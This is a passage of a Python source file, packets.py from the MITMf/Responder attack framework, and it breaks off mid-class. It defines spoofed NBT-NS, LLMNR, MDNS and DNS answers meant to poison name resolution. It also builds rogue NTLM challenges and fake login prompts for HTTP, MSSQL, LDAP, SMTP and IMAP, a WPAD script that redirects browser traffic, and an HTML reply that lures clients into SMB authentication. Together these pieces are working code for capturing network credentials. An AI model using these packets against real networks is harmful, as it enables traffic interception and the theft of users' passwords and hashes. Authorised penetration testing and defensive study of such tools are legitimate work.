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MITMf/core/responder/packets.py
byt3bl33d3r fd9b79c617 first pass at refactoring: 
directory structure has been simplified by grouping all the poisoners and servers in one folder
impacket smb server has been replaced with responder's
flask http server has beem replaced with responder's
modified config file to support new changes
2015-08-02 21:15:10 +02:00

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#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import settings
from base64 import b64decode, b64encode
from odict import OrderedDict
# Packet class handling all packet generation (see odict.py).
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
# NBT Answer Packet
class NBT_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("NbtName", ""),
("Type", "\x00\x20"),
("Classy", "\x00\x01"),
("TTL", "\x00\x00\x00\xa5"),
("Len", "\x00\x06"),
("Flags1", "\x00\x00"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["NbtName"] = data[12:46]
self.fields["IP"] = settings.Config.IP_aton
# DNS Answer Packet
class DNS_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = settings.Config.IP_aton
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
# LLMNR Answer Packet
class LLMNR_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = settings.Config.IP_aton
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
# MDNS Answer Packet
class MDNS_Ans(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
##### HTTP Packets #####
class NTLM_Challenge(Packet):
fields = OrderedDict([
("Signature", "NTLMSSP"),
("SignatureNull", "\x00"),
("MessageType", "\x02\x00\x00\x00"),
("TargetNameLen", "\x06\x00"),
("TargetNameMaxLen", "\x06\x00"),
("TargetNameOffset", "\x38\x00\x00\x00"),
("NegoFlags", "\x05\x02\x89\xa2"),
("ServerChallenge", ""),
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", "SMB"),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
("Av1Str", "SMB"),
("Av2", "\x01\x00"),#Server name
("Av2Len", "\x14\x00"),
("Av2Str", "SMB-TOOLKIT"),
("Av3", "\x04\x00"),#Full Domain name
("Av3Len", "\x12\x00"),
("Av3Str", "smb.local"),
("Av4", "\x03\x00"),#Full machine domain name
("Av4Len", "\x28\x00"),
("Av4Str", "server2003.smb.local"),
("Av5", "\x05\x00"),#Domain Forest Name
("Av5Len", "\x12\x00"),
("Av5Str", "smb.local"),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
def calculate(self):
# First convert to unicode
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
# Then calculate
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
# Target Name Offsets
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
# AvPairs Offsets
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
# AvPairs StrLen
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
class IIS_Auth_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
class IIS_Auth_Granted(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class IIS_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "WWW-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
class IIS_Basic_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"),
("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
##### Proxy mode Packets #####
class WPADScript(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerTlype", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class ServeExeFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: application/octet-stream\r\n"),
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentDisp", "Content-Disposition: attachment; filename="),
("ContentDiFile", ""),
("FileCRLF", ";\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("Connection", "Connection: keep-alive\r\n"),
("X-CCC", "US\r\n"),
("X-CID", "2\r\n"),
("CRLF", "\r\n"),
("Payload", "jj"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class ServeHtmlFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: text/html\r\n"),
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("Connection", "Connection: keep-alive\r\n"),
("CRLF", "\r\n"),
("Payload", "jj"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
##### FTP Packets #####
class FTPPacket(Packet):
fields = OrderedDict([
("Code", "220"),
("Separator", "\x20"),
("Message", "Welcome"),
("Terminator", "\x0d\x0a"),
])
##### SQL Packets #####
class MSSQLPreLoginAnswer(Packet):
fields = OrderedDict([
("PacketType", "\x04"),
("Status", "\x01"),
("Len", "\x00\x25"),
("SPID", "\x00\x00"),
("PacketID", "\x01"),
("Window", "\x00"),
("TokenType", "\x00"),
("VersionOffset", "\x00\x15"),
("VersionLen", "\x00\x06"),
("TokenType1", "\x01"),
("EncryptionOffset", "\x00\x1b"),
("EncryptionLen", "\x00\x01"),
("TokenType2", "\x02"),
("InstOptOffset", "\x00\x1c"),
("InstOptLen", "\x00\x01"),
("TokenTypeThrdID", "\x03"),
("ThrdIDOffset", "\x00\x1d"),
("ThrdIDLen", "\x00\x00"),
("ThrdIDTerminator", "\xff"),
("VersionStr", "\x09\x00\x0f\xc3"),
("SubBuild", "\x00\x00"),
("EncryptionStr", "\x02"),
("InstOptStr", "\x00"),
])
def calculate(self):
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])
EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
#Version
self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset))
#Encryption
self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"]))
self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset))
#InstOpt
self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"]))
self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset))
#ThrdIDOffset
self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset))
class MSSQLNTLMChallengeAnswer(Packet):
fields = OrderedDict([
("PacketType", "\x04"),
("Status", "\x01"),
("Len", "\x00\xc7"),
("SPID", "\x00\x00"),
("PacketID", "\x01"),
("Window", "\x00"),
("TokenType", "\xed"),
("SSPIBuffLen", "\xbc\x00"),
("Signature", "NTLMSSP"),
("SignatureNull", "\x00"),
("MessageType", "\x02\x00\x00\x00"),
("TargetNameLen", "\x06\x00"),
("TargetNameMaxLen", "\x06\x00"),
("TargetNameOffset", "\x38\x00\x00\x00"),
("NegoFlags", "\x05\x02\x89\xa2"),
("ServerChallenge", ""),
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", "SMB"),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
("Av1Str", "SMB"),
("Av2", "\x01\x00"),#Server name
("Av2Len", "\x14\x00"),
("Av2Str", "SMB-TOOLKIT"),
("Av3", "\x04\x00"),#Full Domain name
("Av3Len", "\x12\x00"),
("Av3Str", "smb.local"),
("Av4", "\x03\x00"),#Full machine domain name
("Av4Len", "\x28\x00"),
("Av4Str", "server2003.smb.local"),
("Av5", "\x05\x00"),#Domain Forest Name
("Av5Len", "\x12\x00"),
("Av5Str", "smb.local"),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
def calculate(self):
# First convert to unicode
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
# Then calculate
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2]
# Target Name Offsets
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
# AvPairs Offsets
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
# AvPairs StrLen
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
##### SMTP Packets #####
class SMTPGreeting(Packet):
fields = OrderedDict([
("Code", "220"),
("Separator", "\x20"),
("Message", "smtp01.local ESMTP"),
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH(Packet):
fields = OrderedDict([
("Code0", "250"),
("Separator0", "\x2d"),
("Message0", "smtp01.local"),
("CRLF0", "\x0d\x0a"),
("Code", "250"),
("Separator", "\x20"),
("Message", "AUTH LOGIN PLAIN XYMCOOKIE"),
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH1(Packet):
fields = OrderedDict([
("Code", "334"),
("Separator", "\x20"),
("Message", "VXNlcm5hbWU6"),#Username
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH2(Packet):
fields = OrderedDict([
("Code", "334"),
("Separator", "\x20"),
("Message", "UGFzc3dvcmQ6"),#Password
("CRLF", "\x0d\x0a"),
])
##### IMAP Packets #####
class IMAPGreeting(Packet):
fields = OrderedDict([
("Code", "* OK IMAP4 service is ready."),
("CRLF", "\r\n"),
])
class IMAPCapability(Packet):
fields = OrderedDict([
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
("CRLF", "\r\n"),
])
class IMAPCapabilityEnd(Packet):
fields = OrderedDict([
("Tag", ""),
("Message", " OK CAPABILITY completed."),
("CRLF", "\r\n"),
])
##### POP3 Packets #####
class POPOKPacket(Packet):
fields = OrderedDict([
("Code", "+OK"),
("CRLF", "\r\n"),
])
##### LDAP Packets #####
class LDAPSearchDefaultPacket(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLen", "\x0c"),
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x0f"),
("OpHeadASNID", "\x65"),
("OpHeadASNIDLen", "\x07"),
("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
])
class LDAPSearchSupportedCapabilitiesPacket(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x02"),
("OpHeadASNID", "\x64"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117
("ObjectName", "\x04\x00"),
("SearchAttribASNID", "\x30"),
("SearchAttribASNLenOfLen", "\x84"),
("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109
("SearchAttribASNID1", "\x30"),
("SearchAttribASN1LenOfLen", "\x84"),
("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103
("SearchAttribASN2ID", "\x04"),
("SearchAttribASN2Len", "\x15"),#21
("SearchAttribASN2Str", "supportedCapabilities"),
("SearchAttribASN3ID", "\x31"),
("SearchAttribASN3LenOfLen", "\x84"),
("SearchAttribASN3Len", "\x00\x00\x00\x4a"),
("SearchAttrib1ASNID", "\x04"),
("SearchAttrib1ASNLen", "\x16"),#22
("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"),
("SearchAttrib2ASNID", "\x04"),
("SearchAttrib2ASNLen", "\x17"),#23
("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"),
("SearchAttrib3ASNID", "\x04"),
("SearchAttrib3ASNLen", "\x17"),#23
("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"),
("SearchDoneASNID", "\x30"),
("SearchDoneASNLenOfLen", "\x84"),
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
("MessageIDASN2ID", "\x02"),
("MessageIDASN2Len", "\x01"),
("MessageIDASN2Str", "\x02"),
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
## No need to calculate anything this time, this packet is generic.
])
class LDAPSearchSupportedMechanismsPacket(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\x60"),#96
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x02"),
("OpHeadASNID", "\x64"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87
("ObjectName", "\x04\x00"),
("SearchAttribASNID", "\x30"),
("SearchAttribASNLenOfLen", "\x84"),
("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79
("SearchAttribASNID1", "\x30"),
("SearchAttribASN1LenOfLen", "\x84"),
("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73
("SearchAttribASN2ID", "\x04"),
("SearchAttribASN2Len", "\x17"),#23
("SearchAttribASN2Str", "supportedSASLMechanisms"),
("SearchAttribASN3ID", "\x31"),
("SearchAttribASN3LenOfLen", "\x84"),
("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42
("SearchAttrib1ASNID", "\x04"),
("SearchAttrib1ASNLen", "\x06"),#6
("SearchAttrib1ASNStr", "GSSAPI"),
("SearchAttrib2ASNID", "\x04"),
("SearchAttrib2ASNLen", "\x0a"),#10
("SearchAttrib2ASNStr", "GSS-SPNEGO"),
("SearchAttrib3ASNID", "\x04"),
("SearchAttrib3ASNLen", "\x08"),#8
("SearchAttrib3ASNStr", "EXTERNAL"),
("SearchAttrib4ASNID", "\x04"),
("SearchAttrib4ASNLen", "\x0a"),#10
("SearchAttrib4ASNStr", "DIGEST-MD5"),
("SearchDoneASNID", "\x30"),
("SearchDoneASNLenOfLen", "\x84"),
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
("MessageIDASN2ID", "\x02"),
("MessageIDASN2Len", "\x01"),
("MessageIDASN2Str", "\x02"),
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
## No need to calculate anything this time, this packet is generic.
])
class LDAPNTLMChallenge(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x02"),
("OpHeadASNID", "\x61"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199
("Status", "\x0A"),
("StatusASNLen", "\x01"),
("StatusASNStr", "\x0e"), #In Progress.
("MatchedDN", "\x04\x00"), #Null
("ErrorMessage", "\x04\x00"), #Null
("SequenceHeader", "\x87"),
("SequenceHeaderLenOfLen", "\x81"),
("SequenceHeaderLen", "\x82"), #188
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags", "\x15\x82\x89\xe2"),
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
